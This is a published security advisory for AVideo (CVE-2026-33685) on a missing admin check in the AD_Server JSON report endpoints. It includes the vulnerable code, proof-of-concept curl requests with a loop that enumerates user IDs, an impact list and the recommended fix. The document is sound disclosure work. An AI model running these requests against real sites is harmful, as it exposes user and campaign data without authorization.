GHSA-J36M-74G2-7M95
Vulnerability from github – Published: 2026-03-25 19:52 – Updated: 2026-03-25 19:52Summary
The plugin/AD_Server/reports.json.php endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (reports.php) and CSV export (getCSV.php) both correctly enforce User::isAdmin(), but the JSON API was left unprotected.
Details
The vulnerable file plugin/AD_Server/reports.json.php loads the application configuration at line 5 but never checks whether the request comes from an authenticated admin user:
// plugin/AD_Server/reports.json.php:1-10
<?php
header('Content-Type: application/json');
require_once '../../videos/configuration.php';
// Fetch request parameters with safety checks
$startDate = !empty($_REQUEST['startDate']) ? $_REQUEST['startDate'] . ' 00:00:00' : null;
$endDate = !empty($_REQUEST['endDate']) ? $_REQUEST['endDate'] . ' 23:59:59' : null;
$reportType = isset($_REQUEST['reportType']) ? $_REQUEST['reportType'] : null;
Compare with the HTML page at plugin/AD_Server/reports.php:6-8, which correctly gates access:
if (!User::isAdmin()) {
forbiddenPage(__("You cannot do this"));
exit;
}
And plugin/AD_Server/getCSV.php:4-6:
if (!User::isAdmin()) {
forbiddenPage('You must be Admin');
}
The JSON endpoint exposes five report types, each querying joined tables that include user and video metadata. For example, getAdsByVideoAndPeriod() at VastCampaignsLogs.php:239 executes:
SELECT v.title as video_title, u.channelName, v.users_id, vcl.videos_id,
COUNT(vcl.id) as total_ads, vc.name as campaign_name
FROM vast_campaigns_logs vcl
LEFT JOIN videos v ON v.id = vcl.videos_id
LEFT JOIN users u ON u.id = v.users_id
LEFT JOIN vast_campaigns_has_videos vchv ON vchv.id = vcl.vast_campaigns_has_videos_id
LEFT JOIN vast_campaigns vc ON vc.id = vchv.vast_campaigns_id
This returns video titles, user channel names, user IDs, and campaign names directly to the unauthenticated caller.
Additionally, plugin/AD_Server/getData.json.php also lacks authentication and exposes aggregate ad view counts via VastCampaignsLogs::getViews(), though with lower impact.
PoC
# 1. Get all ad performance by video — returns video titles, user channel names,
# user IDs, campaign names, and impression counts (no auth needed)
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByVideo'
# Expected: JSON array with objects containing video_title, channelName,
# users_id, videos_id, total_ads, campaign_name
# 2. Get per-user ad analytics for a specific user
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=1'
# Expected: JSON array with video_title, videos_id, total_ads, campaign_name, users_id
# 3. Get ad type breakdown with campaign names
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adTypes'
# Expected: JSON array with type, total_ads, campaign_name
# 4. Get ads for a specific video
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsForSingleVideo&videos_id=1'
# Expected: JSON array with type, total_ads, campaign_name
# 5. Enumerate users by iterating user IDs
for i in $(seq 1 20); do
curl -s "https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=$i"
done
# 6. Aggregate view counts (lower impact, also unauthenticated)
curl -s 'https://target/plugin/AD_Server/getData.json.php'
# Expected: {"error":false,"msg":"","views":12345}
Impact
An unauthenticated attacker can:
- Enumerate platform users: Extract user IDs and channel names by iterating
users_idvalues via theadsByUserreport type - Extract ad campaign intelligence: Obtain campaign names, types (own vs third-party), and performance metrics (impression and click counts per video/user)
- Map video-to-user relationships: Determine which user owns which video and their ad revenue performance
- Competitive intelligence: On multi-tenant instances, one content creator could extract another's ad performance data
The data exposed is business-sensitive analytics that the application explicitly restricts to administrators in both the HTML interface and CSV export, but the JSON API bypass makes all of it publicly accessible.
Recommended Fix
Add User::isAdmin() checks to both reports.json.php and getData.json.php, matching the pattern used by reports.php and getCSV.php:
plugin/AD_Server/reports.json.php — add after line 5:
<?php
header('Content-Type: application/json');
require_once '../../videos/configuration.php';
if (!User::isAdmin()) {
header('HTTP/1.1 403 Forbidden');
die(json_encode(['error' => 'You must be an admin to access this resource']));
}
plugin/AD_Server/getData.json.php — add after line 4:
header('Content-Type: application/json');
require_once '../../videos/configuration.php';
if (!User::isAdmin()) {
header('HTTP/1.1 403 Forbidden');
die(json_encode(['error' => true, 'msg' => 'You must be an admin to access this resource']));
}
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33685"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T19:52:42Z",
"nvd_published_at": "2026-03-23T19:16:41Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `plugin/AD_Server/reports.json.php` endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (`reports.php`) and CSV export (`getCSV.php`) both correctly enforce `User::isAdmin()`, but the JSON API was left unprotected.\n\n## Details\n\nThe vulnerable file `plugin/AD_Server/reports.json.php` loads the application configuration at line 5 but never checks whether the request comes from an authenticated admin user:\n\n```php\n// plugin/AD_Server/reports.json.php:1-10\n\u003c?php\nheader(\u0027Content-Type: application/json\u0027);\nrequire_once \u0027../../videos/configuration.php\u0027;\n\n// Fetch request parameters with safety checks\n$startDate = !empty($_REQUEST[\u0027startDate\u0027]) ? $_REQUEST[\u0027startDate\u0027] . \u0027 00:00:00\u0027 : null;\n$endDate = !empty($_REQUEST[\u0027endDate\u0027]) ? $_REQUEST[\u0027endDate\u0027] . \u0027 23:59:59\u0027 : null;\n$reportType = isset($_REQUEST[\u0027reportType\u0027]) ? $_REQUEST[\u0027reportType\u0027] : null;\n```\n\nCompare with the HTML page at `plugin/AD_Server/reports.php:6-8`, which correctly gates access:\n\n```php\nif (!User::isAdmin()) {\n forbiddenPage(__(\"You cannot do this\"));\n exit;\n}\n```\n\nAnd `plugin/AD_Server/getCSV.php:4-6`:\n\n```php\nif (!User::isAdmin()) {\n forbiddenPage(\u0027You must be Admin\u0027);\n}\n```\n\nThe JSON endpoint exposes five report types, each querying joined tables that include user and video metadata. For example, `getAdsByVideoAndPeriod()` at `VastCampaignsLogs.php:239` executes:\n\n```sql\nSELECT v.title as video_title, u.channelName, v.users_id, vcl.videos_id,\n COUNT(vcl.id) as total_ads, vc.name as campaign_name\nFROM vast_campaigns_logs vcl\nLEFT JOIN videos v ON v.id = vcl.videos_id\nLEFT JOIN users u ON u.id = v.users_id\nLEFT JOIN vast_campaigns_has_videos vchv ON vchv.id = vcl.vast_campaigns_has_videos_id\nLEFT JOIN vast_campaigns vc ON vc.id = vchv.vast_campaigns_id\n```\n\nThis returns video titles, user channel names, user IDs, and campaign names directly to the unauthenticated caller.\n\nAdditionally, `plugin/AD_Server/getData.json.php` also lacks authentication and exposes aggregate ad view counts via `VastCampaignsLogs::getViews()`, though with lower impact.\n\n## PoC\n\n```bash\n# 1. Get all ad performance by video \u2014 returns video titles, user channel names,\n# user IDs, campaign names, and impression counts (no auth needed)\ncurl -s \u0027https://target/plugin/AD_Server/reports.json.php?reportType=adsByVideo\u0027\n\n# Expected: JSON array with objects containing video_title, channelName,\n# users_id, videos_id, total_ads, campaign_name\n\n# 2. Get per-user ad analytics for a specific user\ncurl -s \u0027https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser\u0026users_id=1\u0027\n\n# Expected: JSON array with video_title, videos_id, total_ads, campaign_name, users_id\n\n# 3. Get ad type breakdown with campaign names\ncurl -s \u0027https://target/plugin/AD_Server/reports.json.php?reportType=adTypes\u0027\n\n# Expected: JSON array with type, total_ads, campaign_name\n\n# 4. Get ads for a specific video\ncurl -s \u0027https://target/plugin/AD_Server/reports.json.php?reportType=adsForSingleVideo\u0026videos_id=1\u0027\n\n# Expected: JSON array with type, total_ads, campaign_name\n\n# 5. Enumerate users by iterating user IDs\nfor i in $(seq 1 20); do\n curl -s \"https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser\u0026users_id=$i\"\ndone\n\n# 6. Aggregate view counts (lower impact, also unauthenticated)\ncurl -s \u0027https://target/plugin/AD_Server/getData.json.php\u0027\n\n# Expected: {\"error\":false,\"msg\":\"\",\"views\":12345}\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n\n- **Enumerate platform users**: Extract user IDs and channel names by iterating `users_id` values via the `adsByUser` report type\n- **Extract ad campaign intelligence**: Obtain campaign names, types (own vs third-party), and performance metrics (impression and click counts per video/user)\n- **Map video-to-user relationships**: Determine which user owns which video and their ad revenue performance\n- **Competitive intelligence**: On multi-tenant instances, one content creator could extract another\u0027s ad performance data\n\nThe data exposed is business-sensitive analytics that the application explicitly restricts to administrators in both the HTML interface and CSV export, but the JSON API bypass makes all of it publicly accessible.\n\n## Recommended Fix\n\nAdd `User::isAdmin()` checks to both `reports.json.php` and `getData.json.php`, matching the pattern used by `reports.php` and `getCSV.php`:\n\n**plugin/AD_Server/reports.json.php** \u2014 add after line 5:\n```php\n\u003c?php\nheader(\u0027Content-Type: application/json\u0027);\nrequire_once \u0027../../videos/configuration.php\u0027;\n\nif (!User::isAdmin()) {\n header(\u0027HTTP/1.1 403 Forbidden\u0027);\n die(json_encode([\u0027error\u0027 =\u003e \u0027You must be an admin to access this resource\u0027]));\n}\n```\n\n**plugin/AD_Server/getData.json.php** \u2014 add after line 4:\n```php\nheader(\u0027Content-Type: application/json\u0027);\nrequire_once \u0027../../videos/configuration.php\u0027;\n\nif (!User::isAdmin()) {\n header(\u0027HTTP/1.1 403 Forbidden\u0027);\n die(json_encode([\u0027error\u0027 =\u003e true, \u0027msg\u0027 =\u003e \u0027You must be an admin to access this resource\u0027]));\n}\n```",
"id": "GHSA-j36m-74g2-7m95",
"modified": "2026-03-25T19:52:42Z",
"published": "2026-03-25T19:52:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-j36m-74g2-7m95"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33685"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/daca4ffb1ce19643eecaa044362c41ac2ce45dde"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo Allows Unauthenticated Access to AD_Server reports.json.php that Exposes Ad Campaign Analytics and User Data"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.